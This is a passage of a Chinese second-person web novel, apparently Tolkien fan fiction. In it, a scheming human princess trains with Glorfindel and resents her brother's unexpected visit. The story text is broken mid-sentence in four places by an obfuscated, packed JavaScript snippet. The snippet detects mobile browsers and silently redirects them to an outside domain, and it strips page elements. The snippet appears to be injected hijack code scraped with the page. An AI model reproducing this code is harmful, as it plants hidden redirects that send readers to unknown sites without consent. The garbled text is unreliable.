伊缀尔说:“那自然是开心的对吗?我的小弥尔。”她探出白莹莹的双手去抚摸你的脸颊。 “开心。” “你们肯定聊了不止这一些吧?” “唉。”你轻轻叹息一声,伊缀尔摩挲你的脸颊,她问:“你又为何而叹息呢?” “你都没给我说故事的时间,反而怀疑我对你有所隐瞒。”说着,你垂下眼帘,眉眼间流露出哀伤的神色,这样悲伤的神情换做任何一个爱你的精灵见了都会为之动容,就连伊缀尔也不例外。 “噢,弥尔洛斯不要难过,我没有怀疑你,我只是想知道你都聊了些什么而已。好啦,这是我的错。”伊缀尔主动向你道歉。 你这才又说:“我还请求他当我的剑术老师,以及射箭老师。” “什么?嗯……我是说,你做这个决定都没和我或者姑姑说一声。” “抱歉。” “不,你不用向我道歉。”伊缀尔想了想,好吧,格洛芬德尔确实是个合格的老师,但她不知为何有些担心,你的这个决定将会在日后带来一阵风波。 但在此刻,她只对你说:“那样也好,你能学到更多的东西了。” 当天晚上伊缀尔做了个梦,算不上美梦,也不算噩梦,倒像是预知梦,她看见了梦境里的你走在遍布荆棘的路上,邪恶的黑影将你笼罩,但你最后又乘着月光从黑暗中逃离。 她隔天就把这个消息告诉了父亲图尔巩,他们后来联系远在多瑞亚斯的亲族加拉德瑞尔,恳请她帮忙分析这个梦境,这些都是后话了。 日后的一段时间你都在跟着格洛芬德尔学习剑术和箭术,每周固定时间固定地点,除非刮风下雨,你们才会改到室内进行。 这天正是你验收自己这段时间训练的成果的时候,你的剑术能够在格洛芬德尔的攻击下接下好几招,这已经是巨大的进步了,至于箭术,那就更加让你开心的了,你几乎每一箭都正中红心,不光是射靶子,就连活靶子也不例外。 格洛芬德尔好不吝啬于自己的夸奖,他说:“你很有射箭的天赋,你做得很好。” 你并不满足于这种程度,你说:“这还远远不够。” “那你想要到何种程度呢?”格洛芬德尔只是单纯的好奇。 你站在高处眺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14789651|158069||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 望多尔罗明所在的方向,你手中紧握的宝剑剑锋直指那里,“直到我足以拥有那片土地。” 那是你头一次在精灵面前展露自己的野心。 格洛芬德尔也看向远方,他以为你还在思念家乡,他想了想,做出了一个可以说是冒险的举动,他忽然对你说:“那我们去外面看看吧。” “外面?” “对,就在领地外,当然我们得要在当天赶回来,你能做到吗?”毫无疑问的,他这么做是违背律条的,但是他无法看着你失落的神色坐视不理。 现在是上午,你训练的时候一般都是和格洛芬德尔一起吃午餐的,所以你中午不回宫殿也不会有谁起疑心,而且你的心也因为格洛芬德尔说的话开始期待接下来的冒险。 于是你和格洛芬德尔一拍即合,你们在上午,共骑着一匹马离开领地,来到芬巩与图尔巩领地的交界处,这里留有一片空地,很安全,同时也很静谧,就算发生了什么意外他也能及时通知看守边境的精灵士兵。 你们骑着马在草原到一路驰骋,但是后来地势逐渐复杂,格洛芬德尔就从马背上下来,留你继续坐在马背上,他领着白马向前穿过一片小树林。 此时阳光正好,撒向树林,周围的绿色植物都在阳光的照射下呈现出半透明的质感,如同美丽的玻璃艺术品。 你拨开从树枝上垂下来的嫩叶的,忽然之间你说:“请停一下。” 格洛芬德尔停下脚步,并且抬起头,他先是去寻找你的眼睛,确认你的眼里依旧充满了喜悦和好奇,他这才放心地问:“怎么了?” 你指了指垂在你肩头的花朵,你摘下花朵,俯身递给格洛芬德尔,“这朵金花的颜色与你真相称。” 很偶尔地,只有在你很开心的时候你才会忘记使用敬语,直来直去地用“你”称呼他。 格洛芬德尔不讨厌你的礼貌,但他更喜欢你这样直接的称呼,就好像你们之间的距离也随之拉近了一样。 “谢谢……我很喜欢。”格洛芬德尔低头仔细观察那朵金花,仿佛要将这朵花的样子永远记下来。 你们继续往前走,前面的路实在是不好走,格洛芬德尔让你从马背上下来,他低声说“失礼了”,然后握着你的手腕,你们蹚过一条小溪,因为溪水太清澈,导致你们对这条小溪的深浅产生误判,格洛芬德尔走在前头,他先是一脚踩下去,发现水有些深,本来想要提醒你的,但是你的动作更快一步。 你也一脚踩了下去,水位直接没过你的小腿肚,你愣了一下,表情茫然,格洛芬德尔看着你,虽然他不该在这时候笑起来的,但他还是忍不住唇角上扬。 “你在笑什么?”你其实已经知道了答案,于是你带着报复心理地踢了一脚溪水到他身边。 可格洛芬德尔却觉得你就连报复的样子也是美丽的,他说:“抱歉。” “我可看不见你的歉意,只看到了你的笑意。” 哗啦——又是一脚溪水。 5. 第 5 章 精灵为你制作的皮靴很结实,而且也不容易进水,哪怕刚才的水位都已经到你的小腿肚了,但你蹚过小溪来到对岸甩了甩自己的皮靴,表面很快恢复干燥,这就有些类似于你曾经所在的世界里的速干面料,甚至比速干面料还要神奇。 你跺了跺脚,格洛芬德尔站在一旁笑着看你,接触下来你才发现这是个多么爱笑的精灵。 “现在呢?你又在笑什么呢?”你问。 “没什么。”其实他心里想的是你跺脚的样子就和梅花鹿一样,但他知晓你现在的心情不好,所以就没主动说,和你相处这一段时间他才发现你也并不是每时每刻都保持着温和性格的,倒不如说其实你真实性格算不得多好,他曾经有幸窥见过一角。 那是在你收到弟弟格林的来信时,你看着那封信的表情嘲弄,那是他从未见过的模样,在其他精灵口中你总是温文尔雅的,言行举止符合礼仪挑不出任何的错误来。 他其实一开始也并不想偷看你的,但因为他错过了一开始和你打招呼的机会,所以只能静静地站在花园的树木后观察着你的侧影,只见你送走捎信的精灵时还是笑着的,可是一等对方离开,你的笑容就因为看见信封上的名字而顿时消失。 你笑起来的样子固然是美丽的,但你眉眼冰冷的模样却也是格外的美丽,所以格洛芬德尔才不忍心打搅你。 直到你看完信,然后冷笑着把信纸塞回信封里,也是在这时,你才发现了躲在树木后的格洛芬德尔,你的脸上还带着尚未褪去的嘲弄笑容。 就是那一次,格洛芬德尔忽然发现你并非温柔得如同花朵。 可尽管如此,他也不觉得你是个多么恶劣的人,倒不如说是因为他对你的底线因为那一份喜爱而无限放宽,他甚至还为你找了合适的理由来解释,比如你作为公主却不得不远离自己的家乡寄居在精灵的领地,也许你是因为心中的不安而认为你的父母家人抛弃了你。 是啊,那么多年不能再次见到家人,换做是谁心里也会有怨怼的,更何况是你呢? 他不仅没有因此觉得你性格恶劣,反倒是更加同情你的遭遇,因此对你的态度愈发放任。 精灵的喜爱就是这样具有包容性。 你瞥了一眼格洛芬德尔,“接下来我们要继续往哪里走?” “你想去哪里呢?这取决于你。”他把选择权交到你手里,你左看看右看看的,最后随便指了个方向,格洛芬德尔问:“我能问问你为什么选择那个方向吗?” “直觉,以及——”你拖长了语调,“我刚才在那个方向看见了一只松鼠,那里说不定有松树。” 格洛芬德尔说:“好吧,就听您的,公主殿下。” “别称呼我为公主。”你说,“你还不如直接叫我的名字。”公主听上去就像是个无力而苍白的称谓,如果真的要称呼你,希望下次是直接称呼你为国王。 “走吧弥尔洛斯。”格洛芬德尔与你并肩同行,其实你们真正的向导是那只在树枝间窜来窜去的松鼠,你们走走停停,最后果真在树林里发现了一棵松树,而且还是硕果累累松树。 那只松鼠就如同发现了新大陆一般冲了上去,同时警惕地看看你们,生怕你们跟它抢松果。 你卷起袖子,走到松树底下抬起头仰望上面的松果,格洛芬德尔说:“不如让我来吧。” “你是不相信我吗?”你说。 你之前还真没尝试过爬树,但既然现在你的体质都已经恢复到普通人水平了,那试一下应该没关系的吧?这样想着,你手脚并用,动作有些别扭地沿着树干往上爬,虽然速度慢了点,但是至少你还在上升,你深吸一口气,铆足劲爬到最低的一个树枝分叉,然后坐在这条树枝上,一手扶着主树干,另外一只手抬起来摘取头顶的松果。 新鲜的松果表皮还是紧闭着的,摘下来以后还得要等它风干一阵子外皮才会因为干燥翘开,然后倒过来就能把这些松子给倒出来了。 你一连摘了好几个松果放在怀里,后来你的衣服口袋实在是装不下了,你才把手里的松果丢给格洛芬德尔,你低下头对他说:“接着——” 格洛芬德尔站在树下稳稳地接住你丢下的松果,看你摘得那么快而且还摘了那么多,那只松鼠可真是气坏了,叽叽喳喳地跟你理论,但你装作没听见,还对着松鼠做了个鬼脸。 生气的松鼠着急地就要来咬你,但是好在你在它攻击你之前先一步爬下树,你拍了拍衣摆,慷慨地对格洛芬德尔说:“这些就送给你了,当是礼物吧。” 格洛芬德尔收下那几颗松果,并且一直都有好好珍藏。 后来你们一直沿着西面走去,差一点就要到芬巩的领地了,守在边境的精灵还发现了你们,正奇怪你怎么孤身一人跑到边境这里来,担心你会出事就急匆匆地来到你身边,结果才发现你身边还跟着一位精灵。 “虽然有精灵保护您,但您这样外出还是太危险了。”那位黑发精灵在离开前还不住地叮嘱你,这样的叮嘱你已经听过无数遍了,从人类口中,从精灵嘴里,你逐渐感到厌烦,说到底你现在已经有了保护自己的能力,只是缺少一个检验的机会而已。 总有一天,你会通过实践检验自己的实力的,这个想法在你心中生根发芽,并且在将来的某一个时刻付诸实践。 格洛芬德尔能够感受到你在回去的路上心情有些低落,大概是因为刚才那个精灵说的话吧,他时不时悄悄地看你,你被他看得有些不耐烦了,就问:“你还要看到什么时候呢?” 你原本没想要使用那么差的语气的,但是在格洛芬德尔面前,或许是这个精灵看上去太过于包容你了,而且你还清楚地看见了他对你的喜爱,最重要的是,他之前已经见过你恶劣的一面,所以你在面对他的时候也不会像对待其他精灵那样刻意戴上温和的社交面具。 从绑定这个公主模拟器以来你都在扮演一位和善优雅的公主,以此来换取民心,为的就是日后顺理成章地夺得王位,但这样的生活也会让你觉得烦躁。 毕竟演戏演得太多了你也会感到疲惫,既然是格洛芬德尔撞见了你的真实一角,那他就要为自己的失误承担后果。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14789652|158069||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >格洛芬德尔说:“请忽略刚才他说的话,他还不清楚你已经今非昔比了。” 你看了过去,“我知道自己的实力算不上多强大,但我不会放弃变强的尝试,总有一天会让你们刮目相看的。” 此刻的你表情平静,可是眼瞳里闪烁着的坚定却是那样的美丽,格洛芬德尔说:“我相信会的,这一天会到来的。” 你们沿着原路返回,等穿过树林,接下来的路途都很平坦,你们就又坐在马背上,悄悄地回到图尔巩的领地,神不知鬼不觉的。 “这是个秘密,我们之间的秘密。”你在下马前对格洛芬德尔说,格洛芬德尔先你一步下马,他仰起头,顺着你的意思回答:“我知道,我谁都不会告诉,这个秘密将伴随我直到生命终结。” “你们精灵不是不老不死的吗?”除非他们受重伤或者是心碎而死。 “是的,但我也无法确定自己以后是否会遇到什么危险。”格洛芬德尔说,他忽然想到了什么,抱着试探的心态问道,“如果我死了你会为我难过吗?” “不会,但我会为你报仇。”你从马背上一跃而下,“悲伤是无用的东西,与其沉湎于哀伤中,不如看向未来。” 格洛芬德尔以为你会询问他,如果你的死亡是否会为他带来悲伤,那答案是肯定的,他或许会几近心碎,但是到最后,等你们都走到宫殿大门口了,你都没问这个问题。 他意识到了,你根本不在乎他人的想法,为你悲伤又如何,为你愤怒又如何,你只是单纯地无视了这些看法。 但是如果是与其他精灵聊起这个话题呢?你也许就不会表现得如此冷漠了吧,只有在他面前才会展露出这样冷淡却真实的一面。 这位金发精灵既为自己能够触及真实的你而感到荣幸,又为自己触摸到了真相而心间泛起若有若无的忧愁。 你们回到宫殿里,用过晚餐后你又收到了两封来自多尔罗明的信件,分别是你的弟弟格林还有你的骑士玛丽,毫无疑问地,你先拆开了玛丽写的信。 几年前你在离开多尔罗明的时候也有思考是否要带走她,但是几经考虑还是将她留在多尔罗明充当你的眼线,这几年她都完美地完成了你交给她的任务,关注你的母亲和父亲还有格林的一举一动,以及其他人类家族的动向,所以尽管你这些年待在精灵领地里,但人类家族的情况你一清二楚。 在这封信里提到了你的父亲贡多在着手准备未来继承人的交接仪式了。 当然这个仪式一时半会没法完成,而且你的弟弟格林也才十四岁,就连你的祖父哈多也还身强体壮能够上战场杀敌,所以这个也还只是个初步的想法。 看完玛丽的信,你这才慢吞吞地拆开格林的信,这封信出乎预料的简短,只有一张小纸条,上面写着:我想见你,不久后你就会见到我的。 这封信辗转了许多手才落到你手里,你看了眼落款的时间,已经是十天前的事情。 这就意味着,他很可能已经在来的路上了。 你揉了揉太阳穴,说实话,你真不想见这个弟弟。 6. 第 6 章 关于你的弟弟格林要来找你这件事你在看到那封信以后就和图尔巩提前打了个招呼。 当然你其实是想要借图尔巩之口把这家伙给劝说回去,你可不想当面见他,图尔巩听到这个消息有些惊讶,“格林?你是说你的弟弟格林是么?但他的到访我未曾听说过。” “如果我没有猜错的话,那应该就是他擅自从多尔罗明离开,没有和其他人说过自己的计划。”你说,这是根据你对他的了解推测出来的可能性。 希望你能收到他中途死在半路上的消息,这绝对是个好消息,不用你动手就能解决掉一个竞争对手。 而你告诉图尔巩,也是为了让他把这件事告诉你远在多尔罗明的母亲父亲,这样一来就算他活了下来,等他回到多尔罗明以后也少不了一顿斥责和惩罚。 无论怎么看,这些结果都很让你顺心。 图尔巩反过来安慰你,“不用太担心,他不会有事的。” 倒不如说你希望他最好半路上出什么事呢,不过你现在还在维持温和友善公主的人设,所以你只是微微垂下眼帘,仿佛真的在担心你的弟弟格林,“希望真的是这样的。” 虽说你在图尔巩面前表现出一副忧心忡忡的样子,但这丝毫不妨碍你今天继续上箭术课,而格洛芬德尔也不知道是从哪里得知的消息,你怀疑是图尔巩透露给他的,事实也正是如此。 当时格洛芬德尔一听到这个消息当即就决定要去寻找格林,即便你对格林似乎不怎么合得来,但无论怎么说你们也是血亲,精灵是那么重视血亲。 但是他的提议被图尔巩否决了,后者说:“你现在离开反而会让她心神不宁,所以你就装作一切都没有发生过。” “我明白了。”格洛芬德尔当时是这么答应下来的,可是在上课的时候看见你平静的侧影,他还是止不住地关心你。 你将箭矢搭在箭弓上,拉开弓,微微眯起眼睛瞄准,然后松开右手,箭矢即刻飞了出去,咻地一声划破空气,然后正中红心,你说:“你又是怎么知道的?” 格洛芬德尔去检查你的左手食指,这个箭弓对你来说还是太沉了一些,你的食指不出他所料地留下一道划痕,差一点就要出血了。 你又问了一遍,“你又是怎么知道的?” “图尔巩大人告诉我的,抱歉,我原本答应了他要装作什么都没发生,但是我没办法做到。”他光是想象了一下你得知这个消息时的表情就感到难过,他拿出药膏递给你,你低头给食指上的划痕涂药膏,你说:“我并没有那么担心。” “也是,毕竟你的弟弟也不是寻常人,他是贡多的儿子,哈多的孙子,未来还会成为多尔罗明的主人,这样的人物绝不会死在半路上。”格洛芬德尔说。 你轻笑一声,你在控制着自己的怒火,从表面上来看你的表情毫无变化,但你能够感受到内心的怒火在听到格洛芬德尔刚才的话语时陡然旺盛,几乎要烧灼你的心脏,“真有趣,你们在介绍谁的时候总会说是哪位父亲的儿子,哪个男人的孙子,但却忘了他,他们都是从女人的身体里诞生的。” 你心中的火焰长久燃烧,自你拥有意识以来就在燃烧着,时至今日你已经能与这抹愤怒的火焰和谐共生。 “那么我的未来呢,他会成为多尔罗明的主人,我又会成为什么?”你抬起头,很冷静地问道。 格洛芬德尔看向你的眼睛,他一时之间不知道该说些什么,“你……” 他忽然之间想起了那一则预言,关于你的预言,你会在历史上留下浓墨重彩的一笔,他说:“你会成为独一无二的存在。” 你的唇角微微上扬,似笑非笑,“是么,我也是这么认为的。” 把药膏还给格洛芬德尔,你继续拿起那把对于现在的你来说沉重的箭弓,你就这样沉默地将箭筒里的箭矢用尽,远处的靶子红心上扎满了箭矢,密密麻麻的一片。 结束上午的箭术课后,中午和下午都是你的自由活动时间,这些时间你都在和伊缀尔看书中度过,时间一眨眼就来到了傍晚,你来到宫殿旁的河边,手里拿着一块干巴巴的黑面包,你把面包捏成碎屑然后丢到河里喂鱼,那些鱼嗅到食物的味道就蜂拥而至,挤挤挨挨地聚在一块,你一边走一边撒面包碎屑,那些鱼也就跟了你一路, 手中的面包越分越少,最后只剩下一点残渣,你本想着看一会鱼就回去的,但是沿着河边慢悠悠地走回去的时候碰见了格洛芬德尔,他似乎是想要为今天上午的对话向你道歉。 你漫不经心地听着他的道歉,基本上就是左耳进右耳出,不过他对你心存愧疚这一点倒是可以利用起来,你的手指摩挲下巴,“我的道歉我听到了,但是比起口头的道歉,我更希望你能做出点什么,比如说日后能够帮助我之类的。” 格洛芬德尔说:“这点无需你多说我也会做到的,芬国昐家族本就和哈多家族交好。” 不,你要的可不是这种程度的帮助,唉,果然你现在提这种要求还是很容易被拒绝的,还不如先斩后奏到时候把他拉到自己这边成为共犯呢。 格洛芬德尔不会知道你那样安静美丽的外表下其实正在计划着一场血腥的谋杀。 他还想要说些什么,但就在这时,无论是他还是你都听到了远处传来的急促声音,“你们在做什么?” 那声音听上去熟悉又陌生,你回过头一看,只见一位金发少年正急匆匆地向你们走来,不,应该是小步跑过来的,你终于看清了他的容貌,那是你的弟弟格林,几年不见他长高了许多,五官也长开了,但是依旧俊美秀气,此时这张漂亮的脸上满是焦急。 格洛芬德尔认出来那是你的弟弟格林,他对着他微微俯身行礼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14789653|158069||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“殿下,很高兴见到您安全到来。” 格林见到你这才消了气,他说:“抱歉,刚才我以为你要对我姐姐做什么。” 他对格洛芬德尔的态度虽然客气但是敷衍,因为说完这话他转头就去看你,将你从头到脚仔仔细细地看了一遍,然后又牵起你的手,“伊玟,我们已经很久没见面了,我写给你的信你很少回复,是我写得太无趣了吗?” 不,你只是单纯地不想要回复而已,看着膈应。 “先不提这个了,你这次来这里有和母亲说过吗?”你一下子就问到了问题的关键,格林顿了顿,看他的表情显然是心虚了,他说:“如果我和他们说了,那就绝对不可能见到你了。” 这倒是事实,毕竟他可是未来的继承人,他们怎么能放任他去冒险呢? 你说:“但你这么做无疑会伤了他们的心。” 格林愧疚地低下头,他现在已经比你高出半个头了,从你的角度看去能够看见他微微颤抖的眼睫,你对他没有半分同情,只觉得可惜,你说:“而且你刚才又误会了什么呢?说实话,这次重逢让我对你不是很满意。” 你对他不满意已经不是一天两天的事情了,你从他还没出生的时候就已经十分不满了。 可带着满心欢喜来见你的格林没想到你会那么说,他登时抬起头,“不……请您不要生气。” “我没有生气。”你轻轻地说,“好了,既然你都已经来了,那就不要傻站在这里了,快些进去吧,天就要黑了。” 直至见到图尔巩,格林都还在小心翼翼地看你的表情,试探性地问你,“您还在生气吗?”他是那样谨慎,甚至都用上敬语了。 “没有,图尔巩大人来了,你别和我说悄悄话了。”在你的勒令下格林也不再和你说些什么,图尔巩先是询问他路上可曾遇到什么危险,格林说:“得益于您和您的亲族送的精灵斗篷还有武器,我并没有遇到什么危险。” 听到格林那么说,图尔巩的表情也逐渐变得缓和,他点了点头,“那就好,但是这样的事情不要再发生第二次了,你可曾知道你的姐姐收到信件后第一时间就来告诉我,说你很可能会遇到危险,她担心极了。” 嗯?图尔巩这家伙怎么还瞎说话啊,什么叫做第一时间就来通知了啊?你记得自己好像是过了一晚上才告诉他的,而且你在此之前还在犹豫呢,至于担心,那更是没有的,但是被图尔巩那么一说,你身边的格林抿抿唇,脸上浮现出内疚的神色。 现在好了,在场的所有精灵还有人类都觉得你是那么关心自己的弟弟,你木着一张脸,对图尔巩说:“您言过其实了。” 图尔巩用眼神安抚你,然后又说:“格林,我所说的都是事实,你应该向你的姐姐道歉的。” 你们精灵真是没救了……你在心里默默地感叹一句。 7. 第 7 章 在图尔巩的当面教育下,格林当即向你道歉,但你想要的可不是他的道歉,因此你对他的道歉反应平淡,“没关系,我已经原谅你了。” 在这样的场合下你自然是要扮演好姐姐的角色,在必要时刻展现出温和宽容的一面。 格林垂眸仔细观察你脸上的表情,试图通过你的蓝色眼眸看清你现在的真实心情,但你转过头,错开他的视线,你对图尔巩说:“殿下,他也已经知道错了,还请您不要再责怪他了,他只是想要来看看许久未见的姐姐而已。” 通常你对精灵打感情牌都很有效,一方面是你平日里在他们心中留下的印象就是柔弱的,需要被保护的,现在又主动提起许久未见家人的事情,这不由得让图尔巩想起你前些天的思乡病,于是他也不再说些什么,只是安慰你,“尽管许久未见,但你的家人仍然心系于你。” 或许吧,反正你是不怎么想念他们的。 图尔巩为格林准备了房间,位置就在你房间的隔壁,似乎是想要通过这样的安排弥补你这些年和家人错过的相处机会,但他没想过这一安排只会让你更加烦恼而已。 尤其是在格林晚上敲响你的房门时,他只轻轻地敲了几下,然后就没了动静,但是根据你对他的了解,他应该还在门外站着,你也不着急,慢悠悠地把手中的关于草药的书籍看完,顺便还整理了一下书本里的笔记,等到房间内的挂钟发出几声轻响你才起身,走到门口。 你打开了门,果不其然地,你的弟弟格林就站在门外,他身穿白色睡袍,精灵准备的睡袍也都是华丽繁复的,尤其是领口还有袖口处的花边,格林没有马上开口,柔顺富有光泽的金色长发披散在他的肩头,门外的光影幽幽,衬托得他的五官愈发秀美,就像是传说中的美少年。 “你想说什么?”最后还得让你先出声。 “您还在生气吗?” “没有。”你淡淡地回答。 “我保证以后再不会做这种事情了。”格林牵住你的手腕,他的手掌已经变得比你宽大,不再是小时候那样小巧的,能够被你包裹起来的小手了。 你意识到他正在逐渐成长,对你夺取王位的威胁也越来越大。 “我相信你的保证,你不用再对我道歉,我也已经消气。”话语间你扯开他的手,而格林却因此发现了你手掌心的伤疤,那是你练习射箭留下的,只是很浅的一道口子,可他还是捧起你的手掌,指腹不住地摩挲你的那道伤疤,“你为什么会受伤?这里的精灵没有好好保护你吗?他们到底做了什么?” 说着说着,格林就想起了方才傍晚时分遇见的那个名为格洛芬德尔的精灵,他问:“那个格洛芬德尔也没有保护好你吗?” “不,这只是我训练的时候留下的伤痕,我在练习射箭。”你抽回手。 格林皱起眉,“你根本不需要做这些,你的骑士会保护你,不让你受到任何伤害,哪怕付出他们的性命。” 他完美地继承了父亲的想法和观念,除了外壳不同,你怀疑这些男人的想法都是出奇的一致。 看吧,这就是你厌恶他的主要原因,他已经开始自然而然地为你做决定了。 你冷笑着说:“我不会等待骑士来救我,能救我的只有我自己。” “可……” 啪—— 你对着他的侧脸就是一记掌掴,他被打得猝不及防,头发变得凌乱,他低垂着头。 “格林,你是想要干涉我的决定吗?你认为你可以为我做一切决定吗?还是你觉得——”你微微眯起眼睛,“你可以主宰我的人生?” 格林沉默了许久才找回自己的声音,他从未见过这样咄咄逼人的你,但是下一秒你又收敛气势,仿佛变回了那个好姐姐,你说:“早些去休息吧,你今天一定累坏了。” 所以刚才只是他的错觉吗? 等他回到自己的房间,他还是没有缓过来,他带着这份疑惑入睡,时间就这样来到隔天早上,等他醒来的时候你已经用过早餐了,他想要跟上你的步调,所以早餐是匆匆解决的,但是等他找到你的时候又被告知你在和伊缀尔公主密谈,暂时不能打扰你。 无处可去的格林只能来到马厩看看送自己来这里的马匹是否安好,也是在这里他碰见了格洛芬德尔,这位精灵正在给两匹白马梳理毛发,那两匹马养得体型健壮,毛发油光水滑的,一看就是平日里精心照顾的。 格林问:“这都是你的马?” “有一匹是的,有一匹曾经是。”格洛芬德尔说,但那两只白马都很亲近他,经常把脑袋凑到他身边。 “‘曾经是’又是什么意思?”格林的那匹黑马抬起头。 “就是它,‘洛丝’,这是你姐姐给它取的名字,现在这是她的马了。”格洛芬德尔指了指那匹更加年轻的白马。 格林抚摸洛丝的脑袋,“所以你就是通过这个和她拉近关系的,然后顺势成为她的老师?” 在格林的描述里格洛芬德尔活像个心机叵测的角色,为了接近你不计手段,这话着实冒犯,但格洛芬德尔没有生气,而是笑着说:“你姐姐说你喜欢开玩笑,现在看来是这样的。” 格林的表情变得无比严肃,“我不是在开玩笑。” “不要把别人想得那么坏好吗?”格洛芬德尔说,“我对她并没有恶意。” “是的,当然没有恶意,我说的也不是恶意。” 格洛芬德尔不为所动,“那么你该不会认为她应该永远在你的保护之下吧?这对她来说不公平,她也该拥有自己的生活,自己的朋友。” “可是这个世界对她而言太危险了。”格林无法想象如果没有他人的保护,你又该如何生存下去呢? “你似乎把她想得太柔弱了,但实际上她远比你想象的坚强。” 格林皱起眉,“别说得好像你很了解她一样。” “难道不是吗?难道只要血脉相连内心的想法也是相连 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14789654|158069||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的吗?不是的,你也知道这一点。” 不可否认的,格洛芬德尔说的是事实,正因为那是事实所以才那么尖锐,以至于惹恼了这位人类王子,他报以同样的尖锐言辞,“我的父母已经在为她挑选未婚夫人选了,我想过不了多久她就会定下婚约。”尽管他对此并不支持,甚至可以说是激烈反对的,但是不妨碍他此刻搬出这件事来攻击格洛芬德尔。 这大概就是伤敌一千自损八百的招数。 听到格林这么说,格洛芬德尔果然停下动作,他说:“但她现在还太年轻了。” “年轻?那是对于你们精灵而言的,我们人类能够活到百岁就已经是长寿的了。”他昨天清楚地看见了,这位精灵对你的爱慕之情,可是精灵和人类又怎么会有结果呢? 格洛芬德尔也知道这一点,他的动作顿了顿,然后继续安静地为白马梳理毛发,仿佛没有听见格林刚才说的话。 “这是你无法逃避的事实。”格林说。 “我知道。”格洛芬德尔抬头回望宫殿,这个时间点你应该在和伊缀尔公主聊天,他曾见过你们聊天的画面,你们躺在阳光能照到的羊绒地毯上,说说笑笑的。 “即便她最终会迎来死亡,但我仍旧会记得关于她的一切。”你依然会活在他的记忆里。 格林讨厌看到精灵倾心于你的模样,他们都在试图将你从他身边夺走,明明他和你才应该是最亲近的,可是你不得不前往精灵的领地养病,结果几年过去,你的身边就冒出这些个精灵,嘴上说着有多了解你,实在是碍眼。 眼不见为净,格林又从马厩离开了,可是他留下的那些话未曾从格洛芬德尔心中离开过。 白马感知到主人的忧愁情绪把自己的脑袋给凑了过去,格洛芬德尔勉强对着白马笑了笑,低声说:“我没事。” 另外一边的你和伊缀尔还在有一搭没一搭地聊天,伊缀尔说:“你的弟弟长大以后倒是和你越来越不像了,以前小时候还有几分像呢。”伊缀尔当初去多尔罗明接你的时候就见过格林,只是见过一面而已,但精灵的记忆力都很好,她还清楚地记得那个小男孩留着齐肩的金色短发,泪眼汪汪地目送你离开。 “谁知道呢。” 伊缀尔又说:“但有个血脉相连的手足总是好的。” 你可不这么认为,伊缀尔没等来你的回答,她就撑起脑袋去看你,用手指戳你的脸颊,“小弥尔,你为什么不说话呢?” “你把我要说的话都说完了。”你也戳了下她的脸颊。 “你这是在敷衍我吧?真是狡猾——”伊缀尔笑着说。 后来她又感慨道:“你要是一直待在这里就好了。”但是这种事情是不可能的,因为你终有一天要离开这里,回到你的家乡,而且更重要的是,她还听说了你的双亲开始为你挑选未婚夫的事情,她的消息很灵通,很多消息都是第一时间知道的。 可就是这个消息,她很后悔自己先知道了。 8. 第 8 章 你和伊缀尔聊着聊着她就睡着了,你听到她清浅的呼吸声,侧过头,伸出手将她遮挡在侧脸的碎发捋到耳后,你现在没什么心思午睡,毕竟还有格林这个麻烦等着你解决呢,于是你从床上撑起上半身,然后蹑手蹑脚地离开房间。 正巧格林这时候在房间外的花园徘徊,他对这些花卉不感兴趣,只是这里是离你所在的房间最近的地方了,他总不可能就这样守在门外,虽说他很想第一时间见到你,但这样就有违礼数了,他还不至于这样丧失理智。 午后的花园被灿烂的阳光笼罩,今天的天气是最近一段时间里最好的一天了,风和日丽,你缓步走向花园,裙摆掠过一侧的花丛,脚步惊动花丛里的蝴蝶,有着深蓝色翅膀的蝴蝶从花丛深处飞出来,就这样飞到格林身边,引得他回过头来,就这样恰好地看见了你。 “伊玟……”他小声地念了一句你的名字。 “你用过午餐了吗?”你问。 “还没有。”格林乖巧地站在你面前,柔软的金色长发被他用黑色发带扎起来,但还是有几缕碎发漏下来,他说,“你呢?” “和你一样。” 